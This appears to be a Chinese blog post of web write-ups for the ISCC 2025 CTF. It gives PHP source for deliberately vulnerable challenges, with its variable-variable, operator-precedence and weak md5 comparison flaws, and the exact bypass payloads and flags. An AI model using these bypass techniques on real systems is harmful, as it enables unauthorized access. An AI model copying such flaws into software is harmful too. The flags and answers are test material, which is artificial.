ISCC-2025-web-wp

发布于:2025-05-31 ⋅ 阅读:(23) ⋅ 点赞:(0)

web

校赛

校赛靠着ENOCH师傅发力,也是一路躺进了区域赛,E师傅不好意思发这抽象比赛的wp(这比赛确实啥必到让人大开眼界,反正明年我是肯定不会打了),我就顺手要过来连着区域赛的一起发了

web

150分

按照提示进入/includes/flag

提示get一个锤子

主页get传参chuizi~~(谁能想到是拼音啊)~~

upload路由上传enoch.txt

内容

<?php highlight_file("/includes/flag.php");?>

因为过滤了常见函数,只有这个能用

然后即可拿到

奚月遥传过来的神器相当有用!肖驰成功通过它逃了出来!二人相拥时,肖驰激动地对奚月遥说:SVNDQ3taaDFKMUBZMV8xc181MF9GdW59

50分

robots.txt发现有f10g.txt

进去后没内容

爆破出f12g.txt

得到的flag直接交上去是错的

把flag里面的0改成2即可提交

开门

有爱就不怕
6hu6
jıushizheshouge
dcombctbymbioay
ISCC{zK_!1&c3lQEL(9,
server请求头:sfdzq}

区域赛

回归基本功

进来一个铲铲s14的页面,用户代理是提示,随便输个东西,去到process.php路由

提示在这里输信息是没用的,结合用户代理的提示,从user-agent爆破一下

image-20250510211731321

佛爷戈拿到源码

image-20250510211622471

<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
    if(intval($b) == 'jibengong')
    {
        if(strpos($b, "0")==0)
        {
            echo '基本功不够扎实啊!';
            echo '<br>';
            echo '还得再练!';  
        }
        else
        {
            $$c = $a;
            parse_str($b,$huiguiflag);
            if($huiguiflag[$jibengong]==md5($c))
            {
                echo $flag;
            }
            else{
                echo '基本功不够扎实啊!';
                echo '<br>';
                echo '还得再练!'; 
            }
        } 
    }
    else
    {
        echo '基本功不够扎实啊!';
        echo '<br>';
        echo '还得再练!'; 
    }
}
else
{
    echo '基本功不够扎实啊!';
    echo '<br>';
    echo '还得再练!'; 
}
?> 

进来之后是一个php绕过,第一个坑在变量命名这里,给的变量是huigui_jibengong.1,但是直接输是不行的,php会把非法字符替换成__,但是在php8以下的版本,可以通过[来产生错误,php只会替换第一个[为__,而之后的字符都正常显示

第二个坑在优先级判断

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);

=的优先级比and高,所以在判断完is_numeric($a)后就会进行赋值,而不会对b进行正则检测

第三个点在传入b的绕过

if(intval($b) == 'jibengong')

做一个简单的测试,&即可传入参数

image-20250510215552024

第四个坑在于变量jibengong的值是未知的,但是注意到$$c=$a,这段代码很有意思

如果
$c=jibengong
$a=1
执行$$c=$a后
就会使jibengong=1
所以我们将c设置为jibengong即可实现任意修改

最终payload

huigui[jibengong.1=1&huigui[jibengong.2=a%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

哪吒的试炼

又是熟悉的脑洞题,改名叫脑电波大赛好了
get传参food=lotus root进入下一个isflag.php路由

F12看一下,加一个参数source=true读到php源码

image-20250510220907868

<?php
if (isset($_POST['nezha'])) {
    $nezha = json_decode($_POST['nezha']);

    $seal_incantation = $nezha->incantation;  
    $md5 = $nezha->md5;  
    $secret_power = $nezha->power;
    $true_incantation = "I_am_the_spirit_of_fire";  

    $final_incantation = preg_replace(
        "/" . preg_quote($true_incantation, '/') . "/", '',
        $seal_incantation
    );

    if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
        show_flag(); 
    } else {
        echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
    }
} else {
    echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
    echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>

一个简单又无聊的绕过,双写绕过替换,md5弱比较绕过即可

image-20250510221259893

传参后又是一个脑洞题,算了这里不适合骂人

将明拆成两半是日和月,对应sun和moon,将moon顺序反转形成noom,跟sun拼接后得到suoom

李同理,木是wood,子是child,拼接后得到woolihc

按照这样的规律得到flag


网站公告

今日签到

点亮在社区的每一天
去签到